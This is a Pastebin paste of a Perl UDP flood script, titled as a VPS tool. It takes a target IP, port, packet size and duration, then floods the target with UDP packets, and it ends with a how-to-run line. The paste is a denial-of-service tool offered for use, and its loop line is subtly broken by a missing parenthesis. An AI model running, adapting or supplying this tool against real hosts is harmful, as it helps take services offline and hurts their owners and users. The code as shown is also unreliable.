iViiRuS

VPS UDP script

Apr 23rd, 2014
340
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # UDP Flood  #
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11. print "flood.pl <ip> <port> <size> <time>\n\n";
  12. print " port=0: use random ports\n";
  13. print " size=0: use random size between 64 and 1024\n";
  14. print " time=0: continuous flood\n";
  15. exit(1);
  16. }
  17.  
  18. my ($ip,$port,$size,$time) = @ARGV;
  19.  
  20. my ($iaddr,$endtime,$psize,$pport);
  21.  
  22. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  23. $endtime = time() + ($time ? $time : 1000000);
  24.  
  25. socket(flood, PF_INET, SOCK_DGRAM, 17);
  26.  
  27.  
  28. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  29. ($size ? "$size-byte" : "random size") . " packets" .
  30. ($time ? " for $time seconds" : "") . "\n";
  31. print "Break with Ctrl-C\n" unless $time;
  32.  
  33. for (;time() <= $endtime {
  34. $psize = $size ? $size : int(rand(1024-64)+64) ;
  35. $pport = $port ? $port : int(rand(65500))+1;
  36.  
  37. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  38.  
  39.  
  40.  
  41. ############################################
  42. How to use script?
  43.  
  44. Terminal > type "/tmp/flood.pl 127.0.0.1 80 65000 120"
RAW Paste Data